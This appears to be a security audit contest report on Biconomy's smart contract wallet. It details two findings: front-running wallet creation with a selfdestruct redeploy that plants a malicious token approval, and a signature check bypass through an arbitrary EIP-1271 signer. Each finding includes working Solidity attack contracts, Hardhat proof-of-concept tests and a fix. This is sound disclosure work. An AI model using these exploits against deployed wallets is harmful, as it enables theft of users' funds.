Biconomy - Smart Contract Wallet contest - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

Vulnerability details

Impact

front-running create wallet,execute malicious token approve , steal token

Proof of Concept

user or relayer creates wallet mainly by using SmartAccountFactory.deployCounterFactualWallet(). The creation is done using _owner+_index as the salt, and the create2() method is used to create contract. The only limitation is that calling create2() but return address(0) will revert , this situation will happen when the wallet contract address already exists. but there is a problem, if the generated contract executes selfdestruct(), create2() can regenerate the contract with the same address, and will not revert. This opens up the possibility of front-run. So can the generated SmartAccount perform selfdestruct()? yes.SmartAccount has many mechanisms to execute the code, the simplest way is to specify the malicious target and Enum.Operation.DelegateCall by execFromEntryPoint(). The process is roughly as follows:

1. alice front-run bob to generate the wallet contract: owner = bob,index = 1 and pass malicious _entryPoint
2. wallet contract executes USDC.approve(alice,type(uint256).max) to execute malicious Token approve
3. wallet contract executes execFromEntryPoint(), the contract self-destruct(), the token approve still exists at this time
4. after front-run, bob still successfully execute deployCounterFactualWallet(bob,1) to get the same wallet address

When the front-run is finished, bob gets the wallet address, but he doesn't know that this address already has USDC.allowance(alice)==type(uint256).max When bob transfers USDC to this wallet, alice can use allowance to take away USDC

test code:

add BadEntryPoint.sol

pragma solidity 0.8.12;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../SmartAccount.sol";
import "../common/Enum.sol";
contract BadEntryPoint {
    
    function badApprove(address smartAccount,address token, address to) external {
        bytes memory datas = abi.encodeWithSelector(BadEntryPoint.approveAndDestruct.selector, token,to);
        SmartAccount(payable(smartAccount)).execFromEntryPoint(address(this),0,datas,Enum.Operation.DelegateCall,type(uint256).max);
    }

    function approveAndDestruct(address token, address to) external {
       ERC20(token).approve(to,type(uint256).max);
       selfdestruct(payable(address(0)));
    }

}

modify gasEstimations.ts , add "re-deploy poc"

  it("re-deploy poc", async function () {

    const BadEntryPoint = await ethers.getContractFactory("BadEntryPoint");
    const badEntryPoint = await BadEntryPoint.deploy();

    const expected = await walletFactory.getAddressForCounterfactualWallet(
      owner,
      0
    );
    console.log("deploying new wallet..expected address: ", expected);
    console.log("**********front-run before bob allowance:",await token.allowance(expected,bob));

    // ****@audit do front-run *****//
    await expect(
      walletFactory.deployCounterFactualWallet(
        owner,
        badEntryPoint.address,
        handler.address,
        0
      )
    )
      .to.emit(walletFactory, "SmartAccountCreated")
      .withArgs(expected, baseImpl.address, owner, "1.0.2", 0);

    await badEntryPoint.badApprove(expected,token.address,bob); // 1.*****approve and selfdestruct //

    await expect(
      walletFactory.deployCounterFactualWallet(
        owner,
        entryPoint.address,
        handler.address,
        0
      )
    )
      .to.emit(walletFactory, "SmartAccountCreated")
      .withArgs(expected, baseImpl.address, owner, "1.0.2", 0);

    console.log("**********front-run after bob allowance:",await token.allowance(expected,bob)); // 2.*****test allowance still //



    userSCW = await ethers.getContractAt(
      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
      expected
    );

    const entryPointAddress = await userSCW.entryPoint();
    expect(entryPointAddress).to.equal(entryPoint.address);

    const walletOwner = await userSCW.owner();
    expect(walletOwner).to.equal(owner);

    const walletNonce1 = await userSCW.getNonce(0); // only 0 space is in the context now
    const walletNonce2 = await userSCW.getNonce(1);
    const chainId = await userSCW.getChainId();

    console.log("walletNonce1 ", walletNonce1);
    console.log("walletNonce2 ", walletNonce2);
    console.log("chainId ", chainId);

    await accounts[1].sendTransaction({
      from: bob,
      to: expected,
      value: ethers.utils.parseEther("5"),
    });
  });

After execution, you can see that the allowance is still there after the front-run:

$ npx hardhat test test/smart-wallet/gasEstimations.ts --grep re-deploy

...
**********front-run before bob allowance: BigNumber { value: "0" }
**********front-run after bob allowance: BigNumber { value: "115792089237316195423570985008687907853269984665640564039457584007913129639935" }
...
    ✔ re-deploy poc (416ms)

Tools Used

Recommended Mitigation Steps

add check require isAccountExist[proxy]==false

    function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
+       require(isAccountExist[proxy]==false,"proxy used to exist");
        // EOA + Version tracking
        emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L342

Vulnerability details

Impact

the signature verification to fail completely.resulting in anybody being able to perform any transactions

Proof of Concept

execTransaction() uses checkSignatures() to check if the signature of the transaction is legitimate which supports three types of signatures

1. v == 0 (EIP-1271)
2. v > 30
3. other

where if v == 0, it means that EIP-1271 is used The format of the signature is as follows:

 {bytes32 r}{bytes32 s}{uint8 v}

when v = 0 _signer = address(uint160(uint256(r)));

Then call ISignatureValidator(_signer).isValidSignature() to verify the legitimacy

There is a problem here, the current implementation of checkSignatures() does not verify the legitimacy of this _signer, the value is parsed from the parameter:signatures so This value can be specified arbitrarily and does not verify the legitimacy of the signer, e.g., is the signer equal to the owner?

This allows any signer to be constructed, and as long as the signer supports isValidSignature(), then the validation will succeed and the transaction will be executed. This causes the signature verification to fail completely.

The test code is as follows:

add BadSignatureValidator.sol

pragma solidity 0.8.12;


import "../SmartAccount.sol";
import "../interfaces/ISignatureValidator.sol";

contract BadSignatureValidator is ISignatureValidator {
    
    function isValidSignature(bytes memory _data, bytes memory _signature) public view override returns (bytes4){
        return ISignatureValidatorConstants.EIP1271_MAGIC_VALUE;
    }

    function getEIP1271SignDataWithoutOwner() external view returns (bytes memory) {
        return bytes.concat(bytes32(bytes20(address(this))),bytes32(uint256(65)),bytes1(0),bytes32(uint256(0)));        
    }
}

modify gasEstimations.ts , add "skip-sign"

  it("skip-sign", async function () {

    const BadSignatureValidator = await ethers.getContractFactory("BadSignatureValidator");
    const badSignatureValidator = await BadSignatureValidator.deploy();

    await walletFactory.deployCounterFactualWallet(owner,entryPoint.address,handler.address,0);
    
    const datas = await badSignatureValidator.getEIP1271SignDataWithoutOwner();// ****get 1271 sign data*** //

    const expected = await walletFactory.getAddressForCounterfactualWallet(
      owner,
      0
    );
    let userSCW = await ethers.getContractAt(
      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
      expected
    );
    // ****don't revert, so any transaction can use this sign data //
    await userSCW.checkSignatures(ethers.constants.HashZero,[],datas.toString());
      
  });  

});

After execution, we can see that any transaction is possible, and the verification signature will pass

npx hardhat test test/smart-wallet/gasEstimations.ts --grep skip-sign


  ✔ skip-sign (179ms)

Tools Used

Recommended Mitigation Steps

when v==0，also need check _signer == owner

    function checkSignatures(
        bytes32 dataHash,
        bytes memory data,
        bytes memory signatures
    ) public view virtual {
...

        else if(v > 30) {
            // If v > 30 then default va (27,28) has been adjusted for eth_sign flow
            // To support eth_sign and similar we adjust v and hash the messageHash with the Ethereum message prefix before applying ecrecover
            _signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v - 4, r, s);
-           require(_signer == owner, "INVALID_SIGNATURE");
        } else {
            _signer = ecrecover(dataHash, v, r, s);
-           require(_signer == owner, "INVALID_SIGNATURE");
        }
+       require(_signer == owner, "INVALID_SIGNATURE");